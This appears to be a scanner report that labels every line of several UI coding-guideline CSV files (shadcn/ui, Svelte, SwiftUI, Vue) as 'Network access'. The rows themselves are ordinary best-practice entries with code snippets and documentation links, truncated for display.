    16,Form,Use Form with react-hook-form,Integrate Form component with react-hook-form for validation,useForm + Form + FormField pattern,Custom form handling without Form,<Form {...form}><FormField control={form.control}>,<form onSubmit={handl
  • Network accessline 18
    17,Form,Use FormField for inputs,Wrap inputs in FormField for proper labeling and errors,FormField + FormItem + FormLabel + FormControl,Input without FormField wrapper,<FormField><FormItem><FormLabel><FormControl><Input>,<Input onChange={..
  • Network accessline 19
    18,Form,Display form messages,Use FormMessage for validation error display,FormMessage after FormControl,Custom error text without FormMessage,<FormControl><Input/></FormControl><FormMessage/>,<Input/>{error && <span>{error}</span>},Medium,
  • Network accessline 20
    19,Form,Use Zod for validation,Define form schema with Zod for type-safe validation,zodResolver with form schema,Manual validation logic,zodResolver(formSchema),validate: (values) => { if (!values.email) },Medium,https://ui.shadcn.com/docs/
  • Network accessline 21
    20,Select,Use Select for dropdowns,Select component for option selection,Select for choosing from list,Native select element,<Select><SelectTrigger><SelectContent>,<select><option>,Medium,https://ui.shadcn.com/docs/components/select
  • Network accessline 22
    21,Select,Structure Select properly,Include Trigger Value Content and Items,Complete Select structure,Missing SelectValue or SelectContent,<SelectTrigger><SelectValue/></SelectTrigger><SelectContent><SelectItem>,<Select><option>,High,https:
  • Network accessline 23
    22,Command,Use Command for search,Command component for searchable lists and palettes,Command for command palette search,Input with custom dropdown,<Command><CommandInput><CommandList>,<Input><div className="dropdown">,Medium,https://ui.sha
  • Network accessline 24
    23,Command,Group command items,Use CommandGroup for categorized items,CommandGroup with heading for sections,Flat list without grouping,<CommandGroup heading="Suggestions"><CommandItem>,<CommandItem> without groups,Low,https://ui.shadcn.com
  • Network accessline 25
    24,Table,Use Table for data display,Table component for structured data,Table for tabular data display,Div grid for table-like layouts,<Table><TableHeader><TableBody><TableRow>,<div className="grid">,Medium,https://ui.shadcn.com/docs/compon
  • Network accessline 26
    25,Table,Include proper table structure,Use TableHeader TableBody TableRow TableCell,Semantic table structure,Missing thead or tbody,<TableHeader><TableRow><TableHead>,<Table><TableRow> without header,High,https://ui.shadcn.com/docs/compone
  • Network accessline 27
    26,DataTable,Use DataTable for complex tables,Combine Table with TanStack Table for features,DataTable pattern for sorting filtering pagination,Custom table implementation,useReactTable + Table components,Custom sort filter pagination logic
  • Network accessline 28
    27,Tabs,Use Tabs for content switching,Tabs component for tabbed interfaces,Tabs for related content sections,Custom tab implementation,<Tabs><TabsList><TabsTrigger><TabsContent>,<div onClick={() => setTab(...)},Medium,https://ui.shadcn.com
  • Network accessline 29
    28,Tabs,Set default tab value,Specify defaultValue for initial tab,defaultValue on Tabs component,No default leaving first tab,<Tabs defaultValue="account">,<Tabs> without defaultValue,Low,https://ui.shadcn.com/docs/components/tabs
  • Network accessline 30
    29,Accordion,Use Accordion for collapsible,Accordion for expandable content sections,Accordion for FAQ settings panels,Custom collapse implementation,<Accordion><AccordionItem><AccordionTrigger>,<div onClick={() => setOpen(!open)}>,Medium,h
  • Network accessline 31
    30,Accordion,Choose accordion type,Use type="single" or type="multiple" appropriately,type="single" for one open type="multiple" for many,Default type without consideration,<Accordion type="single" collapsible>,<Accordion> without type,Low,
  • Network accessline 32
    31,Toast,Use Sonner for toasts,Sonner integration for toast notifications,toast() from sonner for notifications,Custom toast implementation,toast("Event created"),setShowToast(true),Medium,https://ui.shadcn.com/docs/components/sonner
  • Network accessline 33
    32,Toast,Add Toaster to layout,Include Toaster component in root layout,<Toaster /> in app layout,Toaster in individual pages,app/layout.tsx: <Toaster />,page.tsx: <Toaster />,High,https://ui.shadcn.com/docs/components/sonner
  • Network accessline 34
    33,Toast,Use toast variants,Apply toast.success toast.error for context,Semantic toast methods,Generic toast for all messages,toast.success("Saved!") toast.error("Failed"),toast("Saved!") toast("Failed"),Medium,https://ui.shadcn.com/docs/co
  • Network accessline 35
    34,Popover,Use Popover for floating content,Popover for dropdown menus and floating panels,Popover for contextual actions,Absolute positioned divs,<Popover><PopoverTrigger><PopoverContent>,<div className="relative"><div className="absolute"
  • Network accessline 36
    35,Popover,Handle popover alignment,Use align and side props for positioning,Explicit alignment configuration,Default alignment for all,<PopoverContent align="start" side="bottom">,<PopoverContent>,Low,https://ui.shadcn.com/docs/components/
  • Network accessline 37
    36,DropdownMenu,Use DropdownMenu for actions,DropdownMenu for action lists and context menus,DropdownMenu for user menu actions,Popover for action lists,<DropdownMenu><DropdownMenuTrigger><DropdownMenuContent>,<Popover> for menu actions,Med
  • Network accessline 38
    37,DropdownMenu,Group menu items,Use DropdownMenuGroup and DropdownMenuSeparator,Organized menu with separators,Flat list of items,<DropdownMenuGroup><DropdownMenuItem><DropdownMenuSeparator>,<DropdownMenuItem> without organization,Low,http
  • Network accessline 39
    38,Tooltip,Use Tooltip for hints,Tooltip for icon buttons and truncated text,Tooltip for additional context,Title attribute for tooltips,<Tooltip><TooltipTrigger><TooltipContent>,<button title="Delete">,Medium,https://ui.shadcn.com/docs/com
  • Network accessline 40
    39,Tooltip,Add TooltipProvider,Wrap app or section in TooltipProvider,TooltipProvider at app level,TooltipProvider per tooltip,<TooltipProvider><App/></TooltipProvider>,<Tooltip><TooltipProvider>,High,https://ui.shadcn.com/docs/components/t
  • Network accessline 41
    40,Skeleton,Use Skeleton for loading,Skeleton component for loading placeholders,Skeleton matching content layout,Spinner for content loading,<Skeleton className="h-4 w-[200px]"/>,<Spinner/> for card loading,Medium,https://ui.shadcn.com/doc
  • Network accessline 42
    41,Skeleton,Match skeleton dimensions,Size skeleton to match loaded content,Skeleton same size as expected content,Generic skeleton size,<Skeleton className="h-12 w-12 rounded-full"/>,<Skeleton/> without sizing,Medium,https://ui.shadcn.com/
  • Network accessline 43
    42,AlertDialog,Use AlertDialog for confirms,AlertDialog for destructive action confirmation,AlertDialog for delete confirmations,Dialog for confirmations,<AlertDialog><AlertDialogTrigger><AlertDialogContent>,<Dialog> for delete confirmation
  • Network accessline 44
    43,AlertDialog,Include action buttons,Use AlertDialogAction and AlertDialogCancel,Standard confirm/cancel pattern,Custom buttons in AlertDialog,<AlertDialogCancel>Cancel</AlertDialogCancel><AlertDialogAction>,<Button>Cancel</Button><Button>
  • Network accessline 45
    44,Sidebar,Use Sidebar for navigation,Sidebar component for app navigation,Sidebar for main app navigation,Custom sidebar implementation,<SidebarProvider><Sidebar><SidebarContent>,<div className="w-64 fixed">,Medium,https://ui.shadcn.com/do
  • Network accessline 46
    45,Sidebar,Wrap in SidebarProvider,Use SidebarProvider for sidebar state management,SidebarProvider at layout level,Sidebar without provider,<SidebarProvider><Sidebar></SidebarProvider>,<Sidebar> without provider,High,https://ui.shadcn.com/
  • Network accessline 47
    46,Sidebar,Use SidebarTrigger,Include SidebarTrigger for mobile toggle,SidebarTrigger for responsive toggle,Custom toggle button,<SidebarTrigger/>,<Button onClick={() => toggleSidebar()}>,Medium,https://ui.shadcn.com/docs/components/sidebar
  • Network accessline 48
    47,Chart,Use Chart for data viz,Chart component with Recharts integration,Chart component for dashboards,Direct Recharts without wrapper,<ChartContainer config={chartConfig}>,<ResponsiveContainer><BarChart>,Medium,https://ui.shadcn.com/docs
  • Network accessline 49
    48,Chart,Define chart config,Create chartConfig for consistent theming,chartConfig with color definitions,Inline colors in charts,"{ desktop: { label: ""Desktop"", color: ""#2563eb"" } }",<Bar fill="#2563eb"/>,Medium,https://ui.shadcn.com/d
  • Network accessline 50
    49,Chart,Use ChartTooltip,Apply ChartTooltip for interactive charts,ChartTooltip with ChartTooltipContent,Recharts Tooltip directly,<ChartTooltip content={<ChartTooltipContent/>}/>,<Tooltip/> from recharts,Low,https://ui.shadcn.com/docs/com
  • Network accessline 51
    50,Blocks,Use blocks for scaffolding,Start from shadcn blocks for common layouts,npx shadcn@latest add dashboard-01,Build dashboard from scratch,npx shadcn@latest add login-01,Custom login page from scratch,Medium,https://ui.shadcn.com/bloc
  • Network accessline 52
    51,Blocks,Customize block components,Modify copied block code to fit needs,Edit block files after installation,Use blocks without modification,Customize dashboard-01 layout,Use dashboard-01 as-is,Low,https://ui.shadcn.com/blocks
  • Network accessline 53
    52,A11y,Use semantic components,Shadcn components have built-in ARIA,Rely on component accessibility,Override ARIA attributes,<Button> has button role,<div role="button">,High,https://ui.shadcn.com/docs/components/button
  • Network accessline 54
    53,A11y,Maintain focus management,Dialog Sheet handle focus automatically,Let components manage focus,Custom focus handling,<Dialog> traps focus,document.querySelector().focus(),High,https://ui.shadcn.com/docs/components/dialog
  • Network accessline 55
    54,A11y,Provide labels,Use FormLabel and aria-label appropriately,FormLabel for form inputs,Placeholder as only label,<FormLabel>Email</FormLabel><Input/>,<Input placeholder="Email"/>,High,https://ui.shadcn.com/docs/components/form
  • Network accessline 56
    55,Performance,Import components individually,Import only needed components,Named imports from component files,Import all from index,import { Button } from "@/components/ui/button",import { Button Card Dialog } from "@/components/ui",Medium
  • Network accessline 57
    56,Performance,Lazy load dialogs,Dynamic import for heavy dialog content,React.lazy for dialog content,Import all dialogs upfront,const HeavyContent = lazy(() => import('./Heavy')),import HeavyContent from './Heavy',Medium, 57,Customization
  • Network accessline 58
    57,Customization,Extend variants with cva,Add new variants using class-variance-authority,Extend buttonVariants for new styles,Inline classes for variants,"variants: { size: { xl: ""h-14 px-8"" } }",className="h-14 px-8",Medium,https://ui.s
  • Network accessline 59
    58,Customization,Create custom components,Build new components following shadcn patterns,Use cn() and cva for custom components,Different patterns for custom,const Custom = ({ className }) => <div className={cn("base" className)}>,const Cus
  • Network accessline 60
    59,Patterns,Use asChild for composition,asChild prop for component composition,Slot pattern with asChild,Wrapper divs for composition,<Button asChild><Link href="/">,<Button><Link href="/"></Link></Button>,Medium,https://ui.shadcn.com/docs/
  • Network accessline 61
    60,Patterns,Combine with React Hook Form,Form + useForm for complete forms,RHF Controller with shadcn inputs,Custom form state management,<FormField control={form.control} name="email">,<Input value={email} onChange={(e) => setEmail(e.targe

skills/ui-ux-pro-max/data/stacks/svelte.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Reactivity,Use $: for reactive statements,Automatic dependency tracking,$: for derived values,Manual recalculation,$: doubled = count * 2,let doubled; count &
  • Network accessline 2
    1,Reactivity,Use $: for reactive statements,Automatic dependency tracking,$: for derived values,Manual recalculation,$: doubled = count * 2,let doubled; count && (doubled = count * 2),Medium,https://svelte.dev/docs/svelte-components#script-
  • Network accessline 3
    2,Reactivity,Trigger reactivity with assignment,Svelte tracks assignments not mutations,Reassign arrays/objects to trigger update,Mutate without reassignment,"items = [...items, newItem]",items.push(newItem),High,https://svelte.dev/docs/sve
  • Network accessline 4
    3,Reactivity,Use $state in Svelte 5,Runes for explicit reactivity,let count = $state(0),Implicit reactivity in Svelte 5,let count = $state(0),let count = 0 (Svelte 5),Medium,https://svelte.dev/blog/runes
  • Network accessline 5
    4,Reactivity,Use $derived for computed values,$derived replaces $: in Svelte 5,let doubled = $derived(count * 2),$: in Svelte 5,let doubled = $derived(count * 2),$: doubled = count * 2 (Svelte 5),Medium, 5,Reactivity,Use $effect for side ef
  • Network accessline 6
    5,Reactivity,Use $effect for side effects,$effect replaces $: side effects,Use $effect for subscriptions,$: for side effects in Svelte 5,$effect(() => console.log(count)),$: console.log(count) (Svelte 5),Medium, 6,Props,Export let for props
  • Network accessline 7
    6,Props,Export let for props,Declare props with export let,export let propName,Props without export,export let count = 0,let count = 0,High,https://svelte.dev/docs/svelte-components#script-1-export-creates-a-component-prop
  • Network accessline 8
    7,Props,Use $props in Svelte 5,$props rune for prop access,let { name } = $props(),export let in Svelte 5,"let { name, age = 0 } = $props()",export let name; export let age = 0,Medium, 8,Props,Provide default values,Default props with assig
  • Network accessline 9
    8,Props,Provide default values,Default props with assignment,export let count = 0,Required props without defaults,export let count = 0,export let count,Low, 9,Props,Use spread props,Pass through unknown props,{...$$restProps} on elements,Ma
  • Network accessline 10
    9,Props,Use spread props,Pass through unknown props,{...$$restProps} on elements,Manual prop forwarding,<button {...$$restProps}>,<button class={$$props.class}>,Low,https://svelte.dev/docs/basic-markup#attributes-and-props
  • Network accessline 11
    10,Bindings,Use bind: for two-way binding,Simplified input handling,bind:value for inputs,on:input with manual update,<input bind:value={name}>,<input value={name} on:input={e => name = e.target.value}>,Low,https://svelte.dev/docs/element-d
  • Network accessline 12
    11,Bindings,Bind to DOM elements,Reference DOM nodes,bind:this for element reference,querySelector in onMount,<div bind:this={el}>,onMount(() => el = document.querySelector()),Medium, 12,Bindings,Use bind:group for radios/checkboxes,Simplif
  • Network accessline 13
    12,Bindings,Use bind:group for radios/checkboxes,Simplified group handling,bind:group for radio/checkbox groups,Manual checked handling,"<input type=""radio"" bind:group={selected}>","<input type=""radio"" checked={selected === value}>",Low
  • Network accessline 14
    13,Events,Use on: for event handlers,Event directive syntax,on:click={handler},addEventListener in onMount,<button on:click={handleClick}>,onMount(() => btn.addEventListener()),Medium,https://svelte.dev/docs/element-directives#on-eventname
  • Network accessline 15
    14,Events,Forward events with on:event,Pass events to parent,on:click without handler,createEventDispatcher for DOM events,<button on:click>,"dispatch('click', event)",Low, 15,Events,Use createEventDispatcher,Custom component events,dispatc
  • Network accessline 16
    15,Events,Use createEventDispatcher,Custom component events,dispatch for custom events,on:event for custom events,"dispatch('save', { data })",on:save without dispatch,Medium,https://svelte.dev/docs/svelte#createeventdispatcher
  • Network accessline 17
    16,Lifecycle,Use onMount for initialization,Run code after component mounts,onMount for setup and data fetching,Code in script body for side effects,onMount(() => fetchData()),fetchData() in script body,High,https://svelte.dev/docs/svelte#o
  • Network accessline 19
    18,Lifecycle,Use onDestroy sparingly,Only when onMount cleanup not possible,onDestroy for non-mount cleanup,onDestroy for mount-related cleanup,onDestroy for store unsubscribe,onDestroy(() => clearInterval(id)),Low, 19,Lifecycle,Avoid befor
  • Network accessline 20
    19,Lifecycle,Avoid beforeUpdate/afterUpdate,Usually not needed,Reactive statements instead,beforeUpdate for derived state,$: if (x) doSomething(),beforeUpdate(() => doSomething()),Low, 20,Stores,Use writable for mutable state,Basic reactive
  • Network accessline 21
    20,Stores,Use writable for mutable state,Basic reactive store,writable for shared mutable state,Local variables for shared state,const count = writable(0),let count = 0 in module,Medium,https://svelte.dev/docs/svelte-store#writable
  • Network accessline 22
    21,Stores,Use readable for read-only state,External data sources,readable for derived/external data,writable for read-only data,"readable(0, set => interval(set))",writable(0) for timer,Low,https://svelte.dev/docs/svelte-store#readable
  • Network accessline 23
    22,Stores,Use derived for computed stores,Combine or transform stores,derived for computed values,Manual subscription for derived,"derived(count, $c => $c * 2)",count.subscribe(c => doubled = c * 2),Medium,https://svelte.dev/docs/svelte-sto
  • Network accessline 24
    23,Stores,Use $ prefix for auto-subscription,Automatic subscribe/unsubscribe,$storeName in components,Manual subscription,{$count},count.subscribe(c => value = c),High, 24,Stores,Clean up custom subscriptions,Unsubscribe when component dest
  • Network accessline 25
    24,Stores,Clean up custom subscriptions,Unsubscribe when component destroys,Return unsubscribe from onMount,Leave subscriptions open,onMount(() => store.subscribe(fn)),store.subscribe(fn) in script,High, 25,Slots,Use slots for composition,C
  • Network accessline 26
    25,Slots,Use slots for composition,Content projection,<slot> for flexible content,Props for all content,<slot>Default</slot>,"<Component content=""text""/>",Medium,https://svelte.dev/docs/special-elements#slot
  • Network accessline 27
    26,Slots,Name slots for multiple areas,Multiple content areas,"<slot name=""header"">",Single slot for complex layouts,"<slot name=""header""><slot name=""footer"">",<slot> with complex conditionals,Low, 27,Slots,Check slot content with $$s
  • Network accessline 28
    27,Slots,Check slot content with $$slots,Conditional slot rendering,$$slots.name for conditional rendering,Always render slot wrapper,"{#if $$slots.footer}<slot name=""footer""/>{/if}","<div><slot name=""footer""/></div>",Low, 28,Styling,Us
  • Network accessline 29
    28,Styling,Use scoped styles by default,Styles scoped to component,<style> for component styles,Global styles for component,:global() only when needed,<style> all global,Medium,https://svelte.dev/docs/svelte-components#style
  • Network accessline 30
    29,Styling,Use :global() sparingly,Escape scoping when needed,:global for third-party styling,Global for all styles,:global(.external-lib),<style> without scoping,Medium, 30,Styling,Use CSS variables for theming,Dynamic styling,CSS custom p
  • Network accessline 31
    30,Styling,Use CSS variables for theming,Dynamic styling,CSS custom properties,Inline styles for themes,"style=""--color: {color}""","style=""color: {color}""",Low, 31,Transitions,Use built-in transitions,Svelte transition directives,transi
  • Network accessline 32
    31,Transitions,Use built-in transitions,Svelte transition directives,transition:fade for simple effects,Manual CSS transitions,<div transition:fade>,<div class:fade={visible}>,Low,https://svelte.dev/docs/element-directives#transition-fn
  • Network accessline 33
    32,Transitions,Use in: and out: separately,Different enter/exit animations,in:fly out:fade for asymmetric,Same transition for both,<div in:fly out:fade>,<div transition:fly>,Low, 33,Transitions,Add local modifier,Prevent ancestor trigger,tr
  • Network accessline 34
    33,Transitions,Add local modifier,Prevent ancestor trigger,transition:fade|local,Global transitions for lists,<div transition:slide|local>,<div transition:slide>,Medium, 34,Actions,Use actions for DOM behavior,Reusable DOM logic,use:action 
  • Network accessline 35
    34,Actions,Use actions for DOM behavior,Reusable DOM logic,use:action for DOM enhancements,onMount for each usage,<div use:clickOutside>,onMount(() => setupClickOutside(el)),Medium,https://svelte.dev/docs/element-directives#use-action
  • Network accessline 36
    35,Actions,Return update and destroy,Lifecycle methods for actions,"Return { update, destroy }",Only initial setup,"return { update(params) {}, destroy() {} }",return destroy only,Medium, 36,Actions,Pass parameters to actions,Configure acti
  • Network accessline 37
    36,Actions,Pass parameters to actions,Configure action behavior,use:action={params},Hardcoded action behavior,<div use:tooltip={options}>,<div use:tooltip>,Low, 37,Logic,Use {#if} for conditionals,Template conditionals,{#if} {:else if} {:el
  • Network accessline 38
    37,Logic,Use {#if} for conditionals,Template conditionals,{#if} {:else if} {:else},Ternary in expressions,{#if cond}...{:else}...{/if},{cond ? a : b} for complex,Low,https://svelte.dev/docs/logic-blocks#if
  • Network accessline 39
    38,Logic,Use {#each} for lists,List rendering,{#each} with key,Map in expression,{#each items as item (item.id)},{items.map(i => `<div>${i}</div>`)},Medium, 39,Logic,Always use keys in {#each},Proper list reconciliation,(item.id) for unique
  • Network accessline 40
    39,Logic,Always use keys in {#each},Proper list reconciliation,(item.id) for unique key,Index as key or no key,{#each items as item (item.id)},"{#each items as item, i (i)}",High, 40,Logic,Use {#await} for promises,Handle async states,{#awa
  • Network accessline 41
    40,Logic,Use {#await} for promises,Handle async states,{#await} for loading/error states,Manual promise handling,{#await promise}...{:then}...{:catch},{#if loading}...{#if error},Medium,https://svelte.dev/docs/logic-blocks#await
  • Network accessline 42
    41,SvelteKit,Use +page.svelte for routes,File-based routing,+page.svelte for route components,Custom routing setup,routes/about/+page.svelte,routes/About.svelte,Medium,https://kit.svelte.dev/docs/routing
  • Network accessline 43
    42,SvelteKit,Use +page.js for data loading,Load data before render,load function in +page.js,onMount for data fetching,export function load() {},onMount(() => fetchData()),High,https://kit.svelte.dev/docs/load 43,SvelteKit,Use +page.server.
  • Network accessline 44
    43,SvelteKit,Use +page.server.js for server-only,Server-side data loading,+page.server.js for sensitive data,+page.js for API keys,+page.server.js with DB access,+page.js with DB access,High, 44,SvelteKit,Use form actions,Server-side form h
  • Network accessline 45
    44,SvelteKit,Use form actions,Server-side form handling,+page.server.js actions,API routes for forms,export const actions = { default },fetch('/api/submit'),Medium,https://kit.svelte.dev/docs/form-actions
  • Network accessline 46
    45,SvelteKit,Use $app/stores for app state,$page $navigating $updated,$page for current page data,Manual URL parsing,import { page } from '$app/stores',window.location.pathname,Medium,https://kit.svelte.dev/docs/modules#$app-stores
  • Network accessline 47
    46,Performance,Use {#key} for forced re-render,Reset component state,{#key id} for fresh instance,Manual destroy/create,{#key item.id}<Component/>{/key},on:change={() => component = null},Low,https://svelte.dev/docs/logic-blocks#key
  • Network accessline 48
    47,Performance,Avoid unnecessary reactivity,Not everything needs $:,$: only for side effects,$: for simple assignments,$: if (x) console.log(x),$: y = x (when y = x works),Low, 48,Performance,Use immutable compiler option,Skip equality chec
  • Network accessline 49
    48,Performance,Use immutable compiler option,Skip equality checks,immutable: true for large lists,Default for all components,<svelte:options immutable/>,Default without immutable,Low, 49,TypeScript,"Use lang=""ts"" in script",TypeScript sup
  • Network accessline 50
    49,TypeScript,"Use lang=""ts"" in script",TypeScript support,"<script lang=""ts"">",JavaScript for typed projects,"<script lang=""ts"">",<script> with JSDoc,Medium,https://svelte.dev/docs/typescript

skills/ui-ux-pro-max/data/stacks/swiftui.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Views,Use struct for views,SwiftUI views are value types,struct MyView: View,class MyView: View,struct ContentView: View { var body: some View },class Content
  • Network accessline 2
    1,Views,Use struct for views,SwiftUI views are value types,struct MyView: View,class MyView: View,struct ContentView: View { var body: some View },class ContentView: View,High,https://developer.apple.com/documentation/swiftui/view
  • Network accessline 4
    3,Views,Use body computed property,body returns the view hierarchy,var body: some View { },func body() -> some View,"var body: some View { Text(""Hello"") }",func body() -> Text,High, 4,Views,Prefer composition over inheritance,Compose view
  • Network accessline 5
    4,Views,Prefer composition over inheritance,Compose views using ViewBuilder,Combine smaller views,Inheritance hierarchies,VStack { Header() Content() },class SpecialView extends BaseView,Medium, 5,State,Use @State for local state,Simple val
  • Network accessline 6
    5,State,Use @State for local state,Simple value types owned by view,@State for view-local primitives,@State for shared data,@State private var count = 0,@State var sharedData: Model,High,https://developer.apple.com/documentation/swiftui/sta
  • Network accessline 7
    6,State,Use @Binding for two-way data,Pass mutable state to child views,@Binding for child input,@State in child for parent data,@Binding var isOn: Bool,$isOn to pass binding,Medium,https://developer.apple.com/documentation/swiftui/binding
  • Network accessline 8
    7,State,Use @StateObject for reference types,ObservableObject owned by view,@StateObject for view-created objects,@ObservedObject for owned objects,@StateObject private var vm = ViewModel(),@ObservedObject var vm = ViewModel(),High,https://
  • Network accessline 9
    8,State,Use @ObservedObject for injected objects,Reference types passed from parent,@ObservedObject for injected dependencies,@StateObject for injected objects,@ObservedObject var vm: ViewModel,@StateObject var vm: ViewModel (injected),High
  • Network accessline 10
    9,State,Use @EnvironmentObject for shared state,App-wide state injection,@EnvironmentObject for global state,Prop drilling through views,@EnvironmentObject var settings: Settings,Pass settings through 5 views,Medium,https://developer.apple.
  • Network accessline 11
    10,State,Use @Published in ObservableObject,Automatically publish property changes,@Published for observed properties,Manual objectWillChange calls,@Published var items: [Item] = [],var items: [Item] { didSet { objectWillChange.send() } },M
  • Network accessline 12
    11,Observable,Use @Observable macro (iOS 17+),Modern observation without Combine,@Observable class for view models,ObservableObject for new projects,@Observable class ViewModel { },class ViewModel: ObservableObject,Medium,https://developer.
  • Network accessline 13
    12,Observable,Use @Bindable for @Observable,Create bindings from @Observable,@Bindable var vm for bindings,@Binding with @Observable,@Bindable var viewModel,$viewModel.name with @Observable,Medium, 13,Layout,Use VStack HStack ZStack,Standar
  • Network accessline 14
    13,Layout,Use VStack HStack ZStack,Standard stack-based layouts,Stacks for linear arrangements,GeometryReader for simple layouts,VStack { Text() Image() },GeometryReader for vertical list,Medium,https://developer.apple.com/documentation/swi
  • Network accessline 15
    14,Layout,Use LazyVStack LazyHStack for lists,Lazy loading for performance,Lazy stacks for long lists,Regular stacks for 100+ items,LazyVStack { ForEach(items) },VStack { ForEach(largeArray) },High,https://developer.apple.com/documentation/
  • Network accessline 18
    17,Layout,Use frame modifiers correctly,Set explicit sizes when needed,.frame(maxWidth: .infinity),Fixed sizes for responsive content,.frame(maxWidth: .infinity),.frame(width: 375),Medium, 18,Modifiers,Order modifiers correctly,Modifier ord
  • Network accessline 19
    18,Modifiers,Order modifiers correctly,Modifier order affects rendering,Background before padding for full coverage,Wrong modifier order,.padding().background(Color.red),.background(Color.red).padding(),High, 19,Modifiers,Create custom View
  • Network accessline 20
    19,Modifiers,Create custom ViewModifiers,Reusable modifier combinations,ViewModifier for repeated styling,Duplicate modifier chains,struct CardStyle: ViewModifier,.shadow().cornerRadius() everywhere,Medium,https://developer.apple.com/docume
  • Network accessline 21
    20,Modifiers,Use conditional modifiers carefully,Avoid changing view identity,if-else with same view type,Conditional that changes view identity,Text(title).foregroundColor(isActive ? .blue : .gray),if isActive { Text().bold() } else { Text
  • Network accessline 22
    21,Navigation,Use NavigationStack (iOS 16+),Modern navigation with type-safe paths,NavigationStack with navigationDestination,NavigationView for new projects,NavigationStack { },NavigationView { } (deprecated),Medium,https://developer.apple
  • Network accessline 23
    22,Navigation,Use navigationDestination,Type-safe navigation destinations,.navigationDestination(for:),NavigationLink(destination:),.navigationDestination(for: Item.self),NavigationLink(destination: DetailView()),Medium, 23,Navigation,Use @
  • Network accessline 24
    23,Navigation,Use @Environment for dismiss,Programmatic navigation dismissal,@Environment(\.dismiss) var dismiss,presentationMode (deprecated),@Environment(\.dismiss) var dismiss,@Environment(\.presentationMode),Low, 24,Lists,Use List for s
  • Network accessline 25
    24,Lists,Use List for scrollable content,Built-in scrolling and styling,List for standard scrollable content,ScrollView + VStack for simple lists,List { ForEach(items) { } },ScrollView { VStack { ForEach } },Low,https://developer.apple.com/
  • Network accessline 26
    25,Lists,Provide stable identifiers,Use Identifiable or explicit id,Identifiable protocol or id parameter,Index as identifier,ForEach(items) where Item: Identifiable,"ForEach(items.indices, id: \.self)",High, 26,Lists,Use onDelete and onMov
  • Network accessline 27
    26,Lists,Use onDelete and onMove,Standard list editing,onDelete for swipe to delete,Custom delete implementation,.onDelete(perform: delete),.onTapGesture for delete,Low, 27,Forms,Use Form for settings,Grouped input controls,Form for setting
  • Network accessline 28
    27,Forms,Use Form for settings,Grouped input controls,Form for settings screens,Manual grouping for forms,Form { Section { Toggle() } },VStack { Toggle() },Low,https://developer.apple.com/documentation/swiftui/form
  • Network accessline 29
    28,Forms,Use @FocusState for keyboard,Manage keyboard focus,@FocusState for text field focus,Manual first responder handling,@FocusState private var isFocused: Bool,UIKit first responder,Medium,https://developer.apple.com/documentation/swif
  • Network accessline 30
    29,Forms,Validate input properly,Show validation feedback,Real-time validation feedback,Submit without validation,TextField with validation state,TextField without error handling,Medium, 30,Async,Use .task for async work,Automatic cancellat
  • Network accessline 31
    30,Async,Use .task for async work,Automatic cancellation on view disappear,.task for view lifecycle async,onAppear with Task,.task { await loadData() },onAppear { Task { await loadData() } },Medium,https://developer.apple.com/documentation/
  • Network accessline 32
    31,Async,Handle loading states,Show progress during async operations,ProgressView during loading,Empty view during load,if isLoading { ProgressView() },No loading indicator,Medium, 32,Async,Use @MainActor for UI updates,Ensure UI updates on
  • Network accessline 33
    32,Async,Use @MainActor for UI updates,Ensure UI updates on main thread,@MainActor on view models,Manual DispatchQueue.main,@MainActor class ViewModel,DispatchQueue.main.async,Medium, 33,Animation,Use withAnimation,Animate state changes,wit
  • Network accessline 34
    33,Animation,Use withAnimation,Animate state changes,withAnimation for state transitions,No animation for state changes,withAnimation { isExpanded.toggle() },isExpanded.toggle(),Low,https://developer.apple.com/documentation/swiftui/withanim
  • Network accessline 41
    40,Performance,Use Equatable views,Skip unnecessary view updates,Equatable for complex views,Default equality for all views,struct MyView: View Equatable,No Equatable conformance,Medium, 41,Performance,Profile with Instruments,Measure befor
  • Network accessline 42
    41,Performance,Profile with Instruments,Measure before optimizing,Use SwiftUI Instruments,Guess at performance issues,Profile with Instruments,Optimize without measuring,Medium, 42,Accessibility,Add accessibility labels,Describe UI elements
  • Network accessline 43
    42,Accessibility,Add accessibility labels,Describe UI elements,.accessibilityLabel for context,Missing labels,".accessibilityLabel(""Close button"")",Button without label,High,https://developer.apple.com/documentation/swiftui/view/accessibi

skills/ui-ux-pro-max/data/stacks/vue.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Composition,Use Composition API for new projects,Composition API offers better TypeScript support and logic reuse,<script setup> for components,Options API fo
  • Network accessline 2
    1,Composition,Use Composition API for new projects,Composition API offers better TypeScript support and logic reuse,<script setup> for components,Options API for new projects,<script setup>,export default { data() },Medium,https://vuejs.org
  • Network accessline 3
    2,Composition,Use script setup syntax,Cleaner syntax with automatic exports,<script setup> with defineProps,setup() function manually,<script setup>,<script> setup() { return {} },Low,https://vuejs.org/api/sfc-script-setup.html
  • Network accessline 4
    3,Reactivity,Use ref for primitives,ref() for primitive values that need reactivity,ref() for strings numbers booleans,reactive() for primitives,const count = ref(0),const count = reactive(0),Medium,https://vuejs.org/guide/essentials/reacti
  • Network accessline 5
    4,Reactivity,Use reactive for objects,reactive() for complex objects and arrays,reactive() for objects with multiple properties,ref() for complex objects,const state = reactive({ user: null }),const state = ref({ user: null }),Medium, 5,Rea
  • Network accessline 6
    5,Reactivity,Access ref values with .value,Remember .value in script unwrap in template,Use .value in script,Forget .value in script,count.value++,count++ (in script),High, 6,Reactivity,Use computed for derived state,Computed properties cac
  • Network accessline 7
    6,Reactivity,Use computed for derived state,Computed properties cache and update automatically,computed() for derived values,Methods for derived values,const doubled = computed(() => count.value * 2),const doubled = () => count.value * 2,Me
  • Network accessline 8
    7,Reactivity,Use shallowRef for large objects,Avoid deep reactivity for performance,shallowRef for large data structures,ref for large nested objects,const bigData = shallowRef(largeObject),const bigData = ref(largeObject),Medium,https://vu
  • Network accessline 9
    8,Watchers,Use watchEffect for simple cases,Auto-tracks dependencies,watchEffect for simple reactive effects,watch with explicit deps when not needed,watchEffect(() => console.log(count.value)),"watch(count, (val) => console.log(val))",Low,
  • Network accessline 10
    9,Watchers,Use watch for specific sources,Explicit control over what to watch,watch with specific refs,watchEffect for complex conditional logic,"watch(userId, fetchUser)",watchEffect with conditionals,Medium, 10,Watchers,Clean up side effe
  • Network accessline 11
